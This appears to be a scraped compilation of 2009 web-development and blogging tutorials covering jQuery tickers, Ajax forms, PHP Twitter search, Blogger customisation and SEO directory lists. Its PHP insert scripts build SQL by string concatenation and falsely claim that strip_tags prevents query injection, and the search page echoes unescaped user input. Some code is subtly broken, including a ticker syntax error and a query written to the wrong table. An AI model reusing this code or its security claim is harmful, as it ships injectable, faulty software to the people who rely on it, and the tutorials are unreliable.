100 % working tricks

How to solve Internet Explorer cache issue in Ajax

2009-07-28T20:11:00.019-07:00

This is a frequent asked question which can be solved simply with a line of code with javascript.

The problem
If you use Internet Explorer you can find an annoying problem when you send multiple requests using Ajax. All new requests after the first request (using http.open method), mantain the same value of the first request. This problem is caused by Internet Explorer use of cache.

Solution

When you call the method:

http.open

add a random variable using Math object and add it in the method's URL argument, for example:

nocache = Math.random();
http.open('get', 'page.php?url_parameter='+parameter+'&nocache = '+nocache);

In this way all the new request will have an URL parameter (&nocache) which force the browser to "refresh" the old value with the new value.

How to design a sexy header for your site using CSS

2009-07-28T20:11:00.017-07:00

Step by step tutorial to implement a typographic style header using Photoshop and CSS.

Yesterday I received a lot of positive messages about the new template of my site. Expecially for the new header (in particular the green bar on top of the page). Some of my readers asked to me to dedicate a post about how to realize a similar "graphic composition", so I decided to publish a post with the "process" I use in general to design graphical sections for my web sites.

First approach: be simple.
The most important rule is: be simple. Avoid complex CSS structure beacuse in most cases it is not necessary. Woork header is composed from three DIV elements:

- Logo layer
- Navigation bar
- Green site introduction section

Each element has a fixed width but how navigation bar and site introduction section fit the page size. So you need other two liquid layer (width=100%) which will contain your navigation bar and introduction section. You can schematize this layout in this way:

Another solution to avoid container layers is applying a background picture to the <body> section using css, but I prefer working with pure layer instead of images to have more control on the design. In fact if you use a background image for the body, if you decide to change for example height or color of the navigation bar you have every time also changing the background image.

Design the header with Photoshop
A good practice is trying to design first your header in Photoshop to have an idea about how it will look. Replicate with Photoshop the header structure and choose some colors for its elements until you are not satisfied for the result:

When you think your header is ok you can start to convert the picture into HTML and CSS code. Before you leave Photoshop, create an image to apply to site introduction section background. This is a small image like this:

HTML and CSS code
HTML code for your header is very simple:

<div id="navbar">
<a href="#">Home</a>
<a href="#">About</a>

</div>

</div>

<div id="int-site-container">

</div>

... and CSS code is:

/* Reset Body Property */
body{border:0; margin:0; padding:0;}
#navbar-container{background:#000000;}
#int-site-container{
background:url(img/int-bg.png) left top repeat-x;
height:166px;
}
#logo, #navbar, #int-site{
width:800px;
margin:0 auto;
}
/*------------------*/
/* LOGO */
#logo{height:54px;}

/*------------------*/
/* Nav Bar */
#navbar{
height:26px;
line-height:26px;
}
#navbar a:link, #navbar a:visited, #navbar a:hover{
color:#FFFFFF;
font-weight:bold;
margin-right:20px;
text-decoration:none;
}

Create Rays of Light for introduction section background
To improve the look of my header I choose to add a background with a simple graphical element: some rays of light. To create this effect, create a triangle using Photoshop Pen Tool. Copy this object and rotate the new object of 20 degrees (set the rotation point to left-bottom):

Repeat this action until you designed a semi-circle. Select all element and create a smart object (selecting all "ray of light" layers and clicking on right mouse button -> create smart object). Then create a selection on the orange background and paste into the selection the smart object with your "rays of light". Set the Fill percentage to 19% and apply Color Burn filter to "rays of light" layer. The result is like this:

...and now free your creativity adding graphical element to your site introduction section. On my site I chose a simple typographic style adding a tag cloud of the main topics which my readers can find on woork.

If you are looking for nice fonts to download for free, I suggest to try on dafont.com, a great resource to find inspiration and all fonts you need.
Now, last step, add the image background you created into your CSS code:

#int-site{background:url(img/site-intro.png) left top no-repeat; height:166px;}

It's all!

Download to see the result

I hope this post can help you to find inspiration from "simplicity" to design your site.

One shot, one kill: how to become popular with (almost) each post you write on your blog

2009-07-28T20:11:00.015-07:00

Do you need traffic for your website? Take a look at these simple tips...

This post is dedicated to every people who wrote me asking to me how I made popular a lot of my posts on delicious in the past weeks. There is a "simple" way to make popular your post and assure a costant high traffic on your site for a medium period conquering a place on delicious home page... and this is what you have to do.

Step 1: Write something interesting
...otherwise it's all useless.

Step 2: your link on delicious/popular page
If you want to conquer delicious home page with your new post, the first step is do appear your new post/link on del.icio.us/popular page:

How can you do it? It's not so difficult if you have a medium daily traffic and a god number of feeds subscribers. I noticed in average 10-12 votes on delicious (users who save your link to their bookmars) in 30 minutes are enough to do appear your link on delicious/popular page and - this is the good news - immediatly you'll receive a high number of new visits from this page.

The "bad" news is: if you want to remain for a long time on delicious/popular page page (and in this way have a possibility to conquer delicious home page) you have to mantain an increasing votes trend for your link. And how can you do it? The faster way is using social network to promote your new post.

Step 3: Publish it and promote it on social networks
In general I use this simple... let me say... "rule" which works very well: when I publish a post on Woork the first thing I do is add it to some general news sites (I use only digg, mixx, reddit) and other niche websites related to the topics about which I write on my blog (Dzone, Design Float and CSS Globe).

Combined effect in terms of visits from these websites produces in general the hoped result and the number of people who save your link on delicious will increase quickly. In this way after one / two hours your link on delicious will catch up 100 votes, enough to appears on delicious home page!

How to create an awesome eBook Template using Word or Apple Pages

2009-07-28T20:11:00.013-07:00

Today I received some requests about The Woork Handbook template I published yesterday. Some readers asked to me to distribute that template for their eBooks. So in this post I want to illustrate some guidelines to create an awesome eBook template, quickly and in few steps.

I prepared the template which you can download (for Apple Pages and Microsoft Word) and reuse it for your eBooks (I used Apple pages to write the eBook!).

Download Apple Pages template Download Microsoft Word template

eBook Format

You can print the eBook on A4 format page (2 pages for each facade). This is the screenshot:

Document structure

The document is divided in sections. Each section is a chapter. Use "section break" to separate each chapter in this way:

Adding a section break:

- Apple Pages: Insert > Section Break
- Microsoft Word: Insert > Break > Section break (next page)

Page header

This is a not necessary element but i like have a short description in the header of the my pages. It's a simple text on top of your page with above a line which separete the header from the rest of the page:

In general "page header" isn't placed on the first page of the chapter:

- Apple Pages: select layout button on the inspector and flag the option: First Page is different.

- Microsoft Word: double click on the page header and select different first page from the header/footer toolbar.

Chapter structure using document styles

When you work with a text document (using Word, Apple Pages, OpenOffice...), a very good practice is to define your custom styles for the elements of your pages. In this way, every time you decide to modify the look of an element (for example "chapter title"), it will be update automatically in all elements of your document which use that style. For example take a look at the following picture which represents a generic chapter structure:

We have the following elements with related styles:

Chapter title -> Heading 1
Article title -> Heading 2
Paragraph header -> Sub header paragraph
Normal text -> Body
Code box -> Code
Footnotes -> Notes
Article footer -> Small header + small body

You can define your custom style in this way:

- Apple Pages: View > Show Style Draver and then selecting a style and modifying style properties, or creating a new style.
- Microsoft Word: Format > Style and then selecting a style and modifying style properties, or creating a new style.

Note: I used Qlassik font for the title of chapters and articles. You can download it here. In this version of template I used Arial in case you don't have Qlassik font.

Adding a TOC it's very simple:

- Apple Pages: Insert > Table of content.
- Microsoft Word: Insert > Document element > Table of content

Your TOC will be updated automatically every time you add a new content in your document but (this is really important!) you have to use style elements created for the chapter title and article title (Heading 1 and Heading 2).

It's all! I hope this template can help you to prepare quickly your eBook.

Every suggestion is appreciated :)

Note: I used Apple Pages to create my eBook, and I simply converted Pages template for Word. I experienced there are some litte problems with formatting which you convert a document in Word from Apple Pages... tell me if you have them!

How to skin HTML form elements in seconds

2009-07-28T20:11:00.011-07:00

In the past weeks I received some requests from my readers which asked to me to suggest a simple way to skin HTML form elements. There are a lot of ways to do that and a lot of posts with interesting resources about this topic. But if you want to save time and obtain a nice result I suggest you to use jqTransform or NiceForms.

Both scripts are very useful and simple to use. If you want to use a "native" script which doesn't use an external JS framework (such as jQuery or MooTools) I think a good choice is NiceForms otwerwise, if you use jQuery, a good alternative is jqTransform. Take a look how they work.

1. jqTransform
jqTransform is a jQuery styling plugin wich allows you to skin quickly form elements in a very easy way. The only thing you have to do is to add a javascript inclusion to this plugin in the header section of your web page, create your form and add two lines of JS code to apply the transformation to your form.

Use this code to add a javascript inclusion to jqTransform:

...now create a form with class property equal to jqTransform:

...then add this JS code to apply the transformation:

2. NiceForms
Niceforms is a script that will replace the most commonly used form elements with custom designed ones. You can either use the default theme that is provided or you can even develop your own look with minimal effort.

To implement form style transformation you have to add a javascript inclusion to NiceForms in your web page using this code:

...then create a form with class property equal to niceform:

It's all. Really simple and fast!

Any suggestion? Please leave a comment.

How to implement a Post-to-Wall Facebook-like using PHP and jQuery

2009-07-28T20:11:00.009-07:00

In the past months I received a lot of request to write a tutorial for beginners in order to explain how to implement a Post-to-Wall Facebook-like. So, I prepared this very simple example which helps everyone understand how to implement this feature in a website using just some lines of PHP and JavaScript code.

Take a mind, every post in the Facebook Wall contains a lot of information (user, sender, message content, date, number of comments, ...):

But how I said, this tutorial is for Ajax/jQuery/PHP beginners. So I decided to simplify the original Wall using just a single information: the message content.

In this tutorial we have these files:

- confing.php (database connection parameters)
- index.php
- insert.php
- jquery.js

How the Wall works?

index.php contains a form with id "submit_form" with an input text with id "message_wall". When an user submits a new message. Then the new message is appends to top of the ul list with id "wall" with a nice fade-in effect (with jQuery). Ok, now take a look at the code.

1. index.php
index.php is very simple and contains just simple HTML code:

<form id="submit_wall">
<label for="message_wall">Share your message on the Wall</label>
<input type="text" id="message_wall" />
<button type="submit">Post to wall</button>
</form>

<ul id="wall">
</ul>

The <ul> list with id "wall" is the "container" of messages which are posted into the wall.

2. JavaScript Code
Open index.php and include jQuery in the <head> tag of the page:

...then add this simple function to enable Ajax functionalities to insert the message posted from the user into a database table without reload the page:

$("form#submit_wall").submit(function() {

var message_wall = $('#message_wall').attr('value');

$.ajax({
type: "POST",
url: "insert.php",
data:"message_wall="+ message_wall,
success: function(){
$("ul#wall").prepend("<li style="display: none;">"+message_wall+"</li>");
$("ul#wall li:first").fadeIn();
}
});
return false;
});
});

</script>

.prepend(...) is a jQuery function to insert elements inside, at the beginning, of a specific element (in this case UL list with id wall -->$("ul#wall")). When the new message is added into the list is hidden (display:none). Then it appears with a fade-in effect:

$("ul#wall li:first").fadeIn();

ul#wall:first: gets the first li element (the last added) into the ul list with id "#wall".

3. insert.php
insert.php contains some lines of PHP code to insert the new message into a database table. In this example I created a table WALL with just one attribute "message". PHP code is very simple:

<?php
if(isset($_POST['message_wall'])){
/* Connection to Database */
include('config.php');
/* Remove HTML tag to prevent query injection */
$message = strip_tags($_POST['message_wall']);

$sql = 'INSERT INTO WALL (message) VALUES( "'.$message.'")';
mysql_query($sql);
echo $message;
} else { echo '0'; }
?>

That's all! Download the source code ready to use in your web projects.

Add a comment for questions or suggestions, thanks!

How to manage a small web project: a simple approach

2009-07-28T20:11:00.007-07:00

Some times ago I wrote a post about a structured process you must know to develop a web application and many readers asked to me to write something simpler about how to manage a small web project. I think there are not general rules for that but, without doubt, a correct approach can help you manage your projects more efficently and achieve quickly the final result.

I prepared this picture that illustrates a simple process with 3 main phases you can use as reference to manage a small web project:

1. Planning

Plan what you have to do, how you have to do it and in which time.

1.1 Define project scope

First step: Identify 4-5 high-level points which define the scope of your project. Don't underrate the importance of this step because if you are able to describe your project in a nutshell, it means you have a clear idea about what you have to do. So it will be simpler to realize it.

1.2. Identify main features to implement

Second step: Identify main features of your web project and add, for each of them, some details such as relationships, general notes, ecc. For example image to have a simple project with only two main features: user login and profile management. You can represent them in this way:

That's a simplified example only to give you an idea.

1.3. Define sitemap

Next step: define a sitemap of your project with files and folder. Be accurate in identifying all files to implement (HTML/PHP page, JavaScript files,...) because they are final deliverables to implement.

1.4. Plan a daily to-do list

Set daily milestones using a simple to-do list. So everyday you'll know exactly what you have to do. In this way, you can easy monitor your progress measuring what you did a certain day and what had to do.

2. Developing and testing

In this phase: write HTML, CSS, PHP, JavaScript... code and test small portions of code during developing (preliminary test). So it wil be simpler find bugs and errors. When your web application is ready, stress it with a final test to catch errors you didn't find during preliminary test which cause unexpected behaviors .

3. Publishing

Now you are ready to publish your project on-line. When your website or web application is on-line do a last test on what you published to assure you that it's all ok. That's all!

If you have some suggestion please leave a comment, thanks!

External links

Take also a look at these links:

- Software development methodology
- Agile software development - Wikipedia, the free encyclopedia
- Manifesto for Agile Software Development

- Structured process you must know to develop a web application
- Simple process to estimate times and costs in a web project

How to implement a news ticker with jQuery and ten lines of code

2009-07-28T20:11:00.005-07:00

After my previous posts about how to implement a news ticker with MooTools I received a lot of emails from my readers that asked to me to implement a similar feature with jQuery, including fade in and fade out effects, in the simpler possible way. So in this post I want to illustrate you how to implement a nice news ticker using jQuery and just ten lines of Javascript code. The result is something like this:

I suggest you to take a look at this live preview and download the source code to understand how it works. In the source code I added a file called base.html that contains the basic structure of this ticker you can quickly reuse and customize in your web project.

A little introduction
Step 1: image to have a <ul> list with ID = listticker. This list contains some list elements <li> (in this case: My News 1, My News 2, ...). First step is: get the first element of the list, save its content into a var and remove it using a fade out effect.

You can get the HTML code contained into the first element of the list (#listticker) and assign it to a var (first) using this simple code:

first = $('ul#listticker li:first').html();

To use fade out effect and remove the element you can use this code:

.fadeOut('slow', function() {$(this).remove();});

Step 2: now you have to add the content saved into the var first to the end of the list:

You can use this simple code:

$('ul#listticker').append(first)

...where first is the var you used to save the content of the first element in the step 1.

Step 3: Now you have to move up the content of the list (My News 2 is now the first element of the list) and repeat the entire process from the step 1.

In Javascript code section of this tutorial I used setInterval() to repeat the process every 3 seconds (3.000 milliseconds). Ok, now take a look at HTML and Javascript code.

HTML Code
HTML code is really simple. The only thing you have to do is adding an <ul> list with ID = listticker and some list elements:

</ul>

Remeber to add into the tag <head> of the page where you want to implement this ticker a link to jQuery:

Javascript Code
Take a look at the follow code. I implement 2 functions removeFirst() and addLast(). Each function contains five lines of code. Total lines for "conceptual" code: 10 lines! I promised! :)

function removeFirst(){

first = $('ul#listticker li:first').html();
$('ul#listticker li:first')
.animate({opacity: 0}, speed)
.fadeOut('slow', function() {$(this).remove();});
addLast(first);

}
function addLast(first){

last = 'first+'';
$('ul#listticker').append(last)
$('ul#listticker li:last')
.animate({opacity: 1}, speed)
.fadeIn('slow')

}

interval = setInterval(removeFirst, pause);
});</script>

In the last line I used:

interval = setInterval(removeFirst, pause);

...it calls the function removeFirst()every 3 seconds (3000 milliseconds) and in this way I create ad infinite loop.

If you have suggestions to improve the code please leave a comment. Thanks!

If you are interested on other about this topic take a look at the following posts:

- News ticker with horizontal scrolling
- Fantastic News Ticker Newsvine-like
- Automatic news ticker with vertical scrolling and Start/Resume options
- Joomla! extension: super news ticker

Simple PHP Twitter Search ready to use in your web projects

2009-07-28T20:11:00.003-07:00

After my previous tutorial that illustrated how to implement a super simple way to work with Twitter API (PHP + CSS) I received a lot of emails from my readers that asked to me to write a post about how to implement a simple Twitter search and display search results in a web page with a custom format. So in this tutorial I want to illustrate how you can implement that using a very useful Twitter Search API for PHP developed by David Billingham.

Using this simple method you can obtain, just in some lines of PHP and CSS code, awesome results like this:

You can download the source code at the following link and reuse it for free in your web projects just in some seconds!

1. A little introduction
In this package you'll find two PHP file:

- index.php: the search page (search form + search results)
- search.php: Twitter Search API for PHP

You have to customize only index.php and your Twitter Search will be ready to be integrated into yor web projects in one minute!

2. Index.php
Take a look at index.php. This page contains a simple search form:

...and some lines of PHP code:

<?php
include('search.php');
if($_GET['twitterq']){

$twitter_query = $_GET['twitterq'];
$search = new TwitterSearch($twitter_query);
$results = $search->results();

foreach($results as $result){

echo '<div class="twitter_status">';
echo '<img src="'.$result->profile_image_url.'" class="twitter_image">';
$text_n = toLink($result->text);
echo $text_n;
echo '<div class="twitter_small">';
echo '<strong>From:</strong> <a href="http://www.twitter.com/'.$result->from_user.'">'.$result->from_user.'</a>: ';
echo '<strong>at:</strong> '.$result->created_at;
echo '</div>';
echo '</div>';

}

}
?>

$result is the array that contains search results. To display all elements of the array (search results) I used this simple loop:

foreach($results as $result){
...
}

... and to get a specific attribute of the array I used this simple code:

$result->name_of_element

The structure of a tweet contains the following attributes (take a look at the Twitter API home page for a full list):

[text]: Text of the current tweet
[to_user_id]: User Id
[from_user]: User name
[id]: Tweet Id
[from_user_id]: User id
[source]: Source of the current tweet
[profile_image_url]: User profile image URL
[created_at]: Date of the current tweet

...so, if you want to display the text of a tweet you can use this code:

$result->text

The following line of code get the text of the current tweet and convert a textual link into a clickable link:

$text_n = toLink($result->text);

That's all! Now download the source code, open and upload all files in your test server, open index.php and try to search for something!
If you have some suggestion, please add a comment!

Related posts

- Super simple way to work with Twitter API (PHP + CSS)
- Send messages from a PHP page using Twitter API

How to implement a launching soon page with PHP and jQuery

2009-07-28T20:11:00.001-07:00

In this tutorial I want to explain how to implement a simple launching soon page using PHP and jQuery. What's a launching soon page? In general it's a page that informs the visitors of a website under construction about when the website is going to be online and allows them to leave their emails in order to be updated when the website is on-line. A typical launching soon page contains a countdown and a form that collects emails from interested visitors. In this tutorial I implemented a launching soon page like this:

Take a look at the live preview here.

This page is very simple to modify and customize using just some lines of CSS code. You can also add the logo of your company and all elements you want with some lines of HTML code. Download the source code of this tutorial you can customize and reuse in your web project for free!

A little introduction
How I said this package is ready to use and contains these files:

- index.php: the launching soon page final interface (countdow + form)
- config.php: enables database connection
- insert.php: PHP code to add emails into a database table
- js/jquery-1.3.2.min.js: jQuery framework
- js/countdown.js: the countdown script

1. index.php
index.php is the final interface of your launching soon page. How I said it contains a countdown and a form to allow users to leave their emails.

The countdown script
In order to implement the countdown I used this dynamic countdown script that lets you count down to relative events of a future date/time. This future date, while the same for everyone, occurs differently depending on the time zone they're in. The result is here and it's fully customizable changing some lines of CSS code:

The only thing you have to do is to add this line of code in the <head> tag of the page:

Then, in the tag <body> add the following lines of code to display the countdown:

<div id="count_down_container"></div>
<script type="text/javascript">
var currentyear = new Date().getFullYear()
var target_date = new cdtime("count_down_container", "July 6, "+currentyear+" 0:0:00")
target_date.displaycountdown("days", displayCountDown)
</script>

To set a target date you have to change this line modifying July 6 and the hour 0:0:00 with your target date (for example 25 december):

new cdtime("count_down_container", "July 6, "+currentyear+" 0:0:00")

...if your target date is 25 December the previous line becomes:

new cdtime("count_down_container", "December 25, "+currentyear+" 0:0:00")

If you want to change the style of the countdown you have to modify the following CSS classes:

.count_down{...}
.count_down sup{...}

In particular .count_down{} changes the format of the numbers and .count_down sup{} changes the style of the text "days", "hours", "minutes".

jQuery and the input form
Ok, the countdown is ready! Next step: add this line of code to include jQuery in the <head> tag of the page:

Now, in the tag <body> add a simple form with an input field:

<form id="submit_leave_email">
<input id="input_leave_email" type="text" class="input_bg" value="Add your e-mail address"/>
<button type="submit" class="input_button">Update me</button>
</form>

...and add this layer to display a custom message when an user submit the form:

<div id="update_success">E-mail added!>/div>

...the result after the submission is here:

The form with the input field disappears with a nice fade-out effect and a success message appears in its place. Now, in the <head> tag, after the line of code that includes jQuery, add this script to enable ajax functionalities to insert emails added from users into a database table without reload the page:

$("form#submit_leave_email").submit(function() {
var input_leave_email = $('#input_leave_email').attr('value');
$.ajax({
type: "POST",
url: "insert.php",
data:"input_leave_email="+ input_leave_email,
success: function(){
$("#submit_leave_email").fadeOut();
$("#update_success").fadeIn();
}
});
return false;
});
});

</script>

2. insert.php
insert.php contains some lines of PHP code to insert an email address into a database table. In this example I created a table EMAIL with just one attribute "email". PHP code is very simple:

<?php
if(isset($_POST['input_leave_email'])){
/* Connection to Database */
include('config.php');
/* Remove HTML tag to prevent query injection */
$email = strip_tags($_POST['input_leave_email']);

$sql = 'INSERT INTO WALL (email) VALUES( "'.$email.'")';
mysql_query($sql);
echo $email;
} else { echo '0'; }
?>

Now, remember to modify your database connection parameters in config.php and upload all files on your testing server. Than load index.php and see the result!

Take a look at the live preview here.

That's all! Download the source code of this tutorial you can customize and reuse in your web project for free! Leave a comment for your suggestions, thanks!

Twitter API: How to create a stream of messages Monitter-like with PHP and jQuery

2009-07-28T20:10:00.001-07:00

This tutorial illustrates a very simple way to work with the Twitter API in order to implement a search in the Twitter public timeline and display search results with an animated stream of messages (tweets) similar to Monitter. In this example I used PHP, jQuery and a very useful Twitter Search API for PHP based on the work of David Billingham and actually developed by Ryan Faerman. This implementation is very simple to customize and integrate on your project. The result is something linke this:

You can download the full code here and reuse it for free on your projects.

I suggest you to take also a look at these posts:

- Simple PHP Twitter Search ready to use in your web projects
- Super simple way to work with Twitter API (PHP + CSS)
- Send messages from a PHP page using Twitter API

1. A little introduction

This package contains the following files:

- index.php: page with the search form + search results
- search.php: PHP search
- twitterapi.php: Twitter Search API for PHP
- jquery/jquery-1.3.2.min.js: jQuery framework

How it works? After submission the search form calls an ajax request to the page search.php that returns search results into an array. Each element of the array (every single tweet) appears into the div twitter-results with a nice fade-in effect. I set a delay between each tweet equal 2 seconds (2000 ms).

I suggest you to take a look at Monitter, and download the full code to try this tutorial on your local host. Now, take a look at the code.

2. index.php: HTML code

HTML code is very simple. Copy the following code in the tag <body>:

<div class="twitter_container">
<form id="twittersearch" method="post" action="">
<input name="twitterq" type="text" id="twitterq" />
<button type="submit">Search</button>
</form>
<div id="twitter-results"></div>
</div>

...and add into the tag <head> of the page a link to jQuery:

The result is a simple search form:

3. search.php
Now copy and paste the following code into search.php:

<?php
include('search.php');
if($_POST['twitterq']){

$twitter_query = $_POST['twitterq'];
$search = new TwitterSearch($twitter_query);
$results = $search->results();

foreach($results as $result){

}

}
?>

$result is the array that contains search results. To display all elements of the array (search results) I used this simple loop:

foreach($results as $result){
...
}

... and to get a specific attribute of the array I used this simple code:

$result->name_of_element

Take a look at this post for info about the search on Twitter.

4. index.php: JavaScript Code

Now take a look at the following JavaScript code that enables an ajax request for the search and display results into the page index.php with a fade in effect and a delay between each tweet equal to 2 seconds:

function displayTweet(){
var i = 0;
var limit = $("#twitter-results > div").size();
var myInterval = window.setInterval(function () {
var element = $("#twitter-results div:last-child");
$("#twitter-results").prepend(element);
element.fadeIn("slow");
i++;
if(i==limit){

window.setTimeout(function () {
clearInterval(myInterval);
});

}
},2000);
}

$("form#twittersearch").submit(function() {
twitterq = $('#twitterq').attr('value');
$.ajax({

type: "POST",
url: "search.php",
cache: false,
data: "twitterq="+ twitterq,
success: function(html){
$("#twitter-results").html(html);
displayTweet();
}

});
return false;
});

});
</script>

This is a very basic implementation you can modify to get a real-time stream of messages for example calling a new ajax request (to search.php) every time the current array with the search results is totally displayed in the page.

That's all. If you have some suggestion please add a comment. Thanks!
You can download the full code of this tutorial here and reuse it on your projects.

- Simple PHP Twitter Search ready to use in your web projects
- Super simple way to work with Twitter API (PHP + CSS)
- Send messages from a PHP page using Twitter API

Link Exchange

2009-07-28T00:46:00.003-07:00

Hi, you all must be knowing the importance of backlinks and its impact on your blog's traffic. Here I start the link exchange programme for this blog.

If you want to display your link here, just place link to my blog and comment here with your blog rul, I'll check whether my link is place or not, and if placed , will immediately place your link here.

The complete list Free Blogging Platforms.

2009-07-28T00:46:00.001-07:00

Now-a-days,blogging has been sought a great source of earning some good online income.But still many people wonder from where to start.So,here I am providing the complete list of free blogging platform available over the internet -

Aeonity.com
blog.com
blogates.com
blogetery.com
blogger.com
blogr.com
blogsome.com
blogster.com
bravenet.com/webtools/journal/
clearblogs.com
ehow.com
googlepages.com
hubpages.com
iseekblog.com
myspace.com
pbwiki.com
quazen.com
rticlz.com
sampa.com
squarespace.com
squidoo.com
stikipad.com
thoughts.com
tumblr.com
wikispaces.com
wordpress.com

As per the PCWorld.com,top 5 among the are -

Blogger.com
Wordpress.com
Typepad.com
Tripod.com
Squarespace.com

Got Error while uploading Template - bX-2nuf8g

2009-07-28T00:45:00.021-07:00

After making the first post here,I thought of changing the Blogger template.I never liked the default templates provided here at Blogger.After finding a suitable template (after 2 hrs. of search), I just tried to upload it to my blog , but I got this error message from Blogger - bX-2nuf8g. I tried one more time but same message.I retried for 5 times more,but in vain.

Then I just checked my other blog by uploading the template there, doubting if there is any problem in that specific blog, but still the same error message - bX-2nuf8g.

Then I searched blogger help for this error message.There I got to know that this message ( and every message starting with "bx-" have no specific meaning.They adviced to delete your cookies and cache and retry. But this also didn't help ,then I used 2nd option available there - Report your Error Message to Blogger.

here's the link for that -
http://groups.google.com/group/blogger-help/web/report-your-bx-code-bug-here

Well let's see what Blogger can help me with.

UPDATE:
Solution - Just change your browser,I tried with Apple Safari and got my work done.

At last added a Custom Domain from GoDaddy.com to Blogger!!!

2009-07-28T00:45:00.019-07:00

As I am blogging since last 1 year I know the importance of having your own domain.

I changed to custom domain on the 2nd day of starting the blog at Blogger,because if I've done that later,it would have resulted in a great drop in my traffic and low rankings on the search engine result pages.

I choose Godaddy.com for registering a domain,because it's cheapest, safe, and has partenered with Blogger for providing custom domains.But it costs $10/domain per year if you purchased it through Blogger.Thats why I purchased it directly from GoDaddy.com using some promo coupons and got the domain registered for 5 years for $35.75 only.

So you have registered a domain with GoDaddy.com, next -

Login to your account at GoDaddy.com .
Click on "Manage Domains".
Click on your domain where you want to host your Blogger blog.
There will be one option availabe - "Total DNS Control And MX Records".(Note- You will not get this option unless you click on your domain.)
There will be a record prefixed - "www",in front of it there will be edit option(image of a pencil), click it.
In the option "Point to Host" - enter this - "ghs.google.com".Please DO NOT change anything. Click ok.
That's it you have added google's server to your domain.
Now if you want to can check whether everything is fine or not,open Command Prompt(Start>Run>Command).
Type - "ping www.yourdomain.com" and press enter.
If everything is ok you will a response like this -
Pinging ghs.1.google.com [72.14.207.121] with 32 bytes of data: Reply from 72.14.207.121: bytes=32 time=85ms TTL=247 Reply from 72.14.207.121: bytes=32 time=89ms TTL=247 Reply from 72.14.207.121: bytes=32 time=86ms TTL=247 Reply from 72.14.207.121: bytes=32 time=86ms TTL=247 Ping statistics for 72.14.207.121: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 85ms, Maximum = 89ms, Average = 86ms
Now everything is done add your custom domain to your Blogger blog.

This way I got my blog address changed from "the-webmasters-blog.blogspot.com" to "webmasters-blog.com".(I must rather say "www.webmasters-blog.com",because Blogger can add either "www.webmasters-blog.com" or "webmasters-blog.com" to my blog,and I preferred first.)

Update:
I was completely unaware that with Godaddy domain I've got a Free Godaddy Hosting Account,hence I added it to Blogger.
But now I've decided to Host another Wordpress Blog at the Godaddy Domain - www.webmasters-blog.com and also have one Blogger blog => free-blogger-help.blogspot.com

How to add a horizontal navigation bar or menu to Blogger?

2009-07-28T00:45:00.017-07:00

We have seen a horizontal menu or a navigation bar on many websites and blogs especially the wordpress blogs.But very few Blogger blogs have a horizontal navigation bar like we have here at our blog.

Here are some simple steps for setting up a Horizontal Navigation Bar -

Step 1.-Dashboard > Layout > Edit HTML. Here find this - /* Header */

Step 2.- Add this code below that -

#menu ul li{
font-size:100%;
list-style-type: none;
display:inline;
padding:0px;
margin:10px;
border:0px solid;
}

#menu li a{
color:#dfffed;
}

#menu li a:visited {
color: #57E964;
}

#menu li a:hover {
color: #F88017;
background: #ffff66;
}

You should edit this code after step 6,so that you could know how does it looks like.

(Edit margin values for placement,and various html color values below for respective colours.)

Step 3.- Find this -

b:section class='header' id='header' maxwidgets='1' showaddelement='no'

Step 4.- Change -

showaddelement='no' to showaddelement='yes'
maxwidgets='1' to maxwidgets='4'

Save template and go to Page Elements.

Step 5.- In the Header , Add Page Element > Add HTML .

Step 6.- Leave the title Blank and add the following code in text field -

<div id='menu'>
<ul>
<li><a href="Your URL">Home</a></li>
<li><a href="Your URL">Advertise</a></li>
<li><a href="Your URL">About Me</a></li>
<li><a href="mailto:YOUR EMAIL ADDRESS">Contact</a></li>
</ul></div>

Add your desired values in above code marked red. Save it.

Now you can edit the code in Step 2.

Submit your blog to High PageRank Directories.

2009-07-28T00:45:00.015-07:00

As many of you know that submitting your blogs to different directories will help you in increasing traffic.

How does it help ?
- By submitting your blog to directories and getting listed there will increase exposure of your blog to Search Engines. Also it increases your PageRank which determines your Search Engine Result Position (SERP),thus getting you more traffic.

Where to Submit your Blogs ?
- Here is the complete list of oneway directories with high Pagerank.

dmoz.org - PR9
2rss.com - PR7
kids.yahoo.com/submissions/suggest_site - PR7
ExactSeek.com - PR7
Jayde.com - PR6
SuperPages.ca - PR6
Patient.co.uk - PR6
BestCatalog.net - PR6
Gimpsy.com - PR6
Bizweb.com - PR6
Haaba.com - PR6
Canadopedia.com - PR6
Web-Beacon.com - PR6
ClearLeadInc.com - PR6
aigam.com - PR6
BooksMusicVideo.com - PR6
Chiff.com - PR6
WebWorldIndex.com - PR6
IllumiRate.com - PR6
Americasbest.com - PR6
SoMuch.com - PR6
Re-Quest.net - PR6
PsychNet-UK.com - PR6
Clickey.com - PR6
ProudlyCanadian.net - PR6
turnpike.net/directory.html - PR5
Earthstation9.com - PR5
Re-quest.net - PR5
MavicaNet.com - PR5
Greenstalk.com - PR5
Smallerbizz.com - PR5
Emfind.com - PR5
Hoppa.com - PR5
prolinkdirectory.com - PR5
AllTheBizz.com - PR5
Click4Choice.com - PR5
Websavvy.cc - PR5
iMarvel.com - PR5
CyberWebSearch.com - PR5
DC2NET.com - PR5
cantufind.com - PR5
Josh.nu - PR5
verajane.com - PR5
thewebsite***istant.com - PR5
Webs-Best-Directory.com - PR5
MyAllFish.com - PR5
Yeandi.com - PR5
Bontonic.com - PR5
AllFreeThings.comR5
fitnesspros.net - PR5
SmartLinks.org - PR5
charolabap.com - PR5
money-talk.org/directory - PR5
cgbee.com - PR5
findsome.info - PR5
wordforums.net - PR5
xoron.com - PR5
csdir.org - PR4
findingblog.com - PR4
linkaddurl.com - PR4

It may take a long time before you can see the results (usually 2-3 months).

How to add search form widget to Blogger ?

2009-07-28T00:45:00.013-07:00

Many Bloggers do not like the default navbar at the top, and remove it from their template.

But in the process they lose the search form available with the navbar.It is very useful for a reader to search whatever he wants in your blog.

Now you can add the search form widget to your Blogger blog,by clicking on the following button.
On clicking the above button you will be directed to Add Widget page.Just select the blog where you want to put this widget and click 'Add Widget'.

That's it you have successfully added a 'Search Form' widget to your Blogger blog.

How to add a favicon to a Blogger blog ?

2009-07-28T00:45:00.011-07:00

Favicon - it stands for "favourite icon".

What is a favicon ?

It is a small icon which appears next to the website address in the address bar of your browser.

I acts like an identification for your url.Users can easily find the tab with your site from this favicon if they have opened many tabs.

How to add a Favicon to your Blogger blog?

Here is step-by-step guide for that -

STEP I - First of all you need to have an icon which can be used as a favicon.You can create a favicon from any image of your choice here.
At this site you can also create an animated favicon like the one I am having here for my blog.Just download the file after you have done.

STEP II - Now from downloaded zip file upload a .png file(or .gif for animated favicon) to your favourite photosharing site.You can also upload it at Googlepages.

STEP III - Now copy the following code -

